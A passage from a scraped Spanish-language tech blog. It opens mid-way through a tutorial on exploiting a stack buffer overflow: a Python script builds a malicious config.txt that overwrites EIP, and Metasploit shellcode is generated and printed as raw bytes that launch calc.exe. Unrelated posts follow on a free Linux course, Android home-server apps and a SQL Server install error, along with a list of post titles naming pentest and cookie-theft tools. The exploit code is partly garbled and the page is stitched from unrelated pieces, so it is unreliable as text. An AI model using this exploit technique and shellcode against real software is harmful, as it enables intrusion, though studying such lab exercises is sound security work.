Modificamos nuestro script de la siguiente forma:

import struct #Importamos libreria Struct
VariableA = 'A'
EIP = struct.pack('en la Variable que sustituira EIP
Variable = ''
ShellCode = '' #Creamos Variable que contendra la ShellCode
for a in range (44):
Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una
Cadena Identificable que sustituya el EIP

for b in range (100):
ShellCode = ShellCode + 'C' #Llenamos de C los 100 bytes de la
ShellCode.
Variable = Variable+ShellCode
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

copiamos nuestro exploit config.txt al directorio del software vulnerable y ejecutamos con ollydbg, si todo sale bien

no deberia salir ningun cartel de direccion invalida de EIP ya que este realizara un salto al Pie de ESP (Comienzo de Nuestra ShellCode)

Como podemos ver no salto ningun error y vemos en el stack que estamos justo una linea antes de nuestras 'C'
(43x100bytes)

Estamos Listo Para Generar Nuestra ShellCode

Para Esto vamos a Abrir Nuestro Metasploit a Modo Web:

sudo ./msfweb

127.0.0.1:55555

Visitamos La Direccion Web y entramos a nuestro modulo msfweb.

Vamos hacia Payload y selecionamos algun modulo de Command Execution yo elegi:

Windows Execute Command

coloque calc.exe como comando de ejecucion y en tipo de Encode escogi Default Encode (Esto Puede Variar como uno desee)

Cologamos Generate Payload

y aparece nuestra shellCode:

"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x12"
"\x9c\x69\x7a\x83\xeb\xfc\xe2\xf4\xee\x74\x2d\x7a\x12\x9c\xe2\x3f"
"\x2e\x17\x15\x7f\x6a\x9d\x86\xf1\x5d\x84\xe2\x25\x32\x9d\x82\x33"
"\x99\xa8\xe2\x7b\xfc\xad\xa9\xe3\xbe\x18\xa9\x0e\x15\x5d\xa3\x77"
"\x13\x5e\x82\x8e\x29\xc8\x4d\x7e\x67\x79\xe2\x25\x36\x9d\x82\x1c"
"\x99\x90\x22\xf1\x4d\x80\x68\x91\x99\x80\xe2\x7b\xf9\x15\x35\x5e"
"\x16\x5f\x58\xba\x76\x17\x29\x4a\x97\x5c\x11\x76\x99\xdc\x65\xf1"
"\x62\x80\xc4\xf1\x7a\x94\x82\x73\x99\x1c\xd9\x7a\x12\x9c\xe2\x12"
"\x2e\xc3\x58\x8c\x72\xca\xe0\x82\x91\x5c\x12\x2a\x7a\x6c\xe3\x7e"
"\x4d\xf4\xf1\x84\x98\x92\x3e\x85\xf5\xff\x08\x16\x71\xb2\x0c\x02"
"\x77\x9c\x69\x7a";

Eliminamos las "" el ; y los espacios generando un solo string.

Lo Colocamos en nuestro Script (En este caso usare una pequeña shellCode que ejecuta una calc en 19 bytes):

"\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63"

import struct #Importamos libreria Struct
VariableA = 'A'
EIP = struct.pack('en la Variable que sustituira EIP
Variable = ''
ShellCode =
"\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\
x6C\x63" #Creamos Variable que contendra la ShellCodefor a in range (44):
Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una
Cadena Identificable que sustituya el EIP
Variable = Variable+ShellCode
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

y BOOOOM Nuestra shellCode se ha ejecutado con Exito, Y hemos realizado Nuestro Primer Exploit BOF
Escrito por HD_Breaker

Fuente: http://hdbreaker96.blogspot.com/2013/04/explotar-un-buffer-overflow.html

Aprende Linux gratis y online con Linus Torvalds en Fundación Linux

2014-08-06T14:43:00.000-07:00

‘¿Qué mejor que un curso sobre Linux introducido por su propio creador, Linus Torvalds y avalado por la Fundación Linux? Uno gratis, online y disponible en la plataforma edX, una de las mejores en esto de los cursos masivos online o Moocs. Este curso de “Introducción a Linux” suele costar unos 2.400 dólares cuando lo imparte la Fundación, pero ahora es gratis. Y comienza en dos días.

El curso empieza justo este viernes 1 de Agosto. No hay ningún pre-requisito para apuntarse, bueno, ninguno salvo tener una cierta base de informática para no perderte los primeros días, un mínimo nivel de inglés (desafortunadamente no se imparte en castellano) y tener instalado Linux en tu ordenador. Si no lo has instalado nunca antes, esta sencilla guía del curso te lo explica paso a paso.
Las clases están impartidas por Jerry Cooperstein, responsable de todas las iniciativas de formación de la Fundación, y dura entre 40 y 60 horas dependiendo de las actividades y materiales que escojas.
Y lo mejor: si tu trabajo durante el curso es satisfactorio, podrás recibir un certificado del mismo que, aunque no tiene un valor oficial, sí acredita que lo has realizado. La página para apuntarse es esta. Ya no hay excusa para no aprender Linux.

Fuente: http://backtrackacademy.com/aprende-linux-gratis-y-online-con-linus-torvalds-en-fundacion-linux/

Aplicaciones para usar tu Android como servidor casero

2014-08-06T12:25:00.000-07:00

Si quieres reutilizar un viejo smartphone o tablet, uno de los mejores modos de hacerlo es empleándolo como servidor en casa.

Parece que fue ayer, pero ya han pasado 6 años desde que vimos el primer dispositivo móvil ejecutando Android en sus entrañas. Aunque no ha sido demasiado tiempo de aquello, ya han pasado 6 generaciones de buques insignia en los que los amantes de la alta tecnología como poco se habrán permitido hacerse con un par de terminales.

Por norma general, cuando aparece en el mercado un nuevo dispositivo que nos roba el corazón decidimos vender el que ya tenemos o legarlo a algún allegado, pero no es infrecuente que los terminales sigan manteniéndose con nosotros como reliquias, y si ese es tu caso, seguro estarás continuamente a la caza de maneras de sacarle provecho a las capacidades de tu ya no tan puntero viejo amigo.
Si es tu caso, una de las mejores cosas que siempre podrás hacer es aprovechar estos terminales como servidores caseros. No importa si los usas para tareas multimedia bajo el protocolo DLNA, o para almacenar archivos en lotes usando FTP, hay un buen puñado de aplicaciones que nos permitirán seguir sacándole jugo a estos pequeños una vez que nos hacemos con un nuevo terminal principal.

Droid NAS

Esta aplicación es fundamental para aquellos usuarios de Mac que tienen en su haber al menos un Android viejo al que ya no dan demasiado uso. Con ella podremos crear un servidor que nos permite condicionar a qué directorios se puede acceder dependiendo de la red a la que nos encontremos conectados, marcando perfiles para el hogar, el trabajo, e incluso para cuando estamos en sitios públicos.
Lamentablemente, pese a ser especialmente útil en ordenadores de la manzana mordida, pues sincroniza a la perfección con Finder sin necesidad de que tengamos que complicarnos demasiado en configurar la aplicación, es casi imposible de usar con Windows y Linux, esto se debe a que su funcionamiento está basado en el protocolo SMB.
De cualquier modo, hay un buen puñado de aplicaciones para Android que pueden acceder al protocolo SMB, como el popular ES File Explorer, esto se traduce en que si tenemos un terminal Android con espacio limitado, como un tablet Nexus sin ampliación por SD, podemos usar nuestro viejo smartphone como medio de almacenamiento inalámbrico.

Servers Ultimate

Servers Ultimate debe ser de lejos la mejor aplicación para crear servidores en un terminal Android. Esta aplicación básicamente nos permite crearlos de cualquier tipo, lo que amplia mucho las posibilidades de lo que podemos compartir desde nuestro Android y cómo lo hacemos.
Probablemente el mayor inconveniente de esta aplicación es que hay que descargar paquetes para usar un tipo de servidor en determinado, y que usuarios poco doctos podrían perderse entre los tipos de protocolo que podrían necesitar para realizar una labor puntual.
Como sea, se trata de una aplicación de lo más completa y que si sabemos lo que estamos haciendo, es bastante sencilla de configurar. Quizás la mayor complicación que encontraremos es que para algunos protocolos hará falta permisos root.

My FTP Server

My FTP Server es la aplicación ideal para aquellos que quieren poder a acceder a archivos en lotes ubicados en el smartphone. La aplicación es extremadamente sencilla de configurar, pues a diferencia de Servers Ultimate no habrá que elegir el protocolo, sino que está configurada para trabajar con FTP, como indica su nombre.
Esta aplicación nos permite configurar el directorio raíz de nuestro servidor FTP, además de los puertos y credenciales de usuario necesarios para acceder. Y claro, podemos usar cualquier cliente FTP para acceder al servidor que hemos creado, por lo que aquellos que estén acostumbrados a Fillezilla y similares seguro la encontrarán de su agrado.

Pixel Media Server

Por ultimo, si no quieres complicarte demasiado, y solamente quieres algo para almacenar tu música, vídeos o fotografías, entonces puedes recurrir a Pixel Media Server. La aplicación se basa en DLNA y es extremadamente sencilla de usar, por lo que si no eres un usuario avanzado la encontrarás especialmente útil.

Fuente: http://gizmologia.com/2014/08/android-servidor-casero

SQL server setup media does not support the language of the

2014-08-06T12:23:00.003-07:00

Buenas.
Resulta que el instalador de SQL Server algunas veces arroja errores, entre ellos el que hoy venimos a ver, para solucionarlo solo basta con ir a configuración regional y cambiar el idioma a "español-españa".
Aquí un vídeo tutorial que nos ahorrar un dolor de cabeza todos aquellos que nos hemos encontrado con el mensaje de error de "SQL server setup media does not support the language of the OS or does not have ENU localized files. Use the matching language-specific SQL Server media or change the OS locale through Control Panel" al querer instalar SQL Server 2008,SQL Server 2008 R2 o SQL Server 2012 en nuestra PC.

link: http://www.youtube.com/watch?v=6ulmj-CaHXE
Para otros errores como el de requisitos mínimos para instalación se recomienda habilitar desde las características del servidor el .net framework 3.5 y luego hacer un update para instalar el SP y las actualizaciones de .net.
Saludos jadcodianos.
Fuente: http://www.taringa.net/posts/hazlo-tu-mismo/14699884/SQL-server-setup-media-does-not-support-the-language-of-the.html

Teorías de un jadcodiano

#ShellShock + DHCP o como puede comprometerse una máquina con sólo conectarse a la red

Esteganografia en audio

Mas libros interesantes

Virtual Wifi Router + Tutorial

Android Data Extractor Lite - ADEL

5 excelentes buscadores de imágenes a partir de imágenes (reverse image search)

1. TinEye y MulticolorEngine

2. WeSEE

3. RevIMG

4. Google Goggles

5. Google Imágenes

Estándares de seguridad ISO 27000: ¿qué hay de nuevo?

Consideraciones para la familia de estándares 27000

Tox, un servicio de comunicación que busca ser una alternativa a Skype segura

ReactOS®, un nuevo sistema operativo de código abierto compatible con windows

Trucos para buscar en google nivel básico.

Curl.io, compartir archivos usando la consola.

Crear Service en Android

Creación del Proyecto

ServiceActivity

MyService

AndroidManifest.xml

Herramientas de Pentest desde Android

Android Network Toolkit – zAnti

dSploit – Android Network Penetration Suite

Revenssis – Compartido por 4v4t4r

Fing – Network Tools

Connect Cat

ExploitDB Latest Exploit

Clientes para escáner de vulnerabilidades reconocidos

Nessus

eEye Scanner

Captura de datos y robo de sesiones, cookies, etc..

Intercepter-NG

FaceNiff

DroidSheep

DroidSheep Guard

Herramientas para redes inalámbricas..

inSSIDer

WiFinspect

Find My Router´s Password

Mac2WebKey HHG5XX

Mac Address Ghost

WiFiKill

Backtrack en tu Android

Seguridad Web

Arbisec Web Analyzer

SandroProxy

HTTP Requester

Firefox para Android

Scripting

SL4A Script Launcher

QPython+ (Android Python)

Privacidad/Anonimato

Orbot – Tor on Android

Element53 Lite

ProxyDroid

Anonymous Mail y FalseMail

Android PGP

Utilidades

System Tuner

ES File Explorer

Android Terminal Emulator

Task Killer

Hacker’s Keyboard

Android VNC

CONCATENAR USANDO FOR XML PATH Y STUFF

WebRTC: la revolución del videochat desde tu navegador

Tmux: multiples terminales administrados desde una misma consola principal

Cómo emular ubicaciones falsas en Android

Cheat sheets para manejar Vi/Vim

FBCacheView v1.03 - View Facebook images stored in the cache of your Web browser

Columns Description

Extraer texto de una imagen.

Problemas luego de instalar compiz en ubuntu 14.04

Configurando gnome-shell como escritorio por defecto

Explotar un Buffer Overflow

Aprende Linux gratis y online con Linus Torvalds en Fundación Linux

Aplicaciones para usar tu Android como servidor casero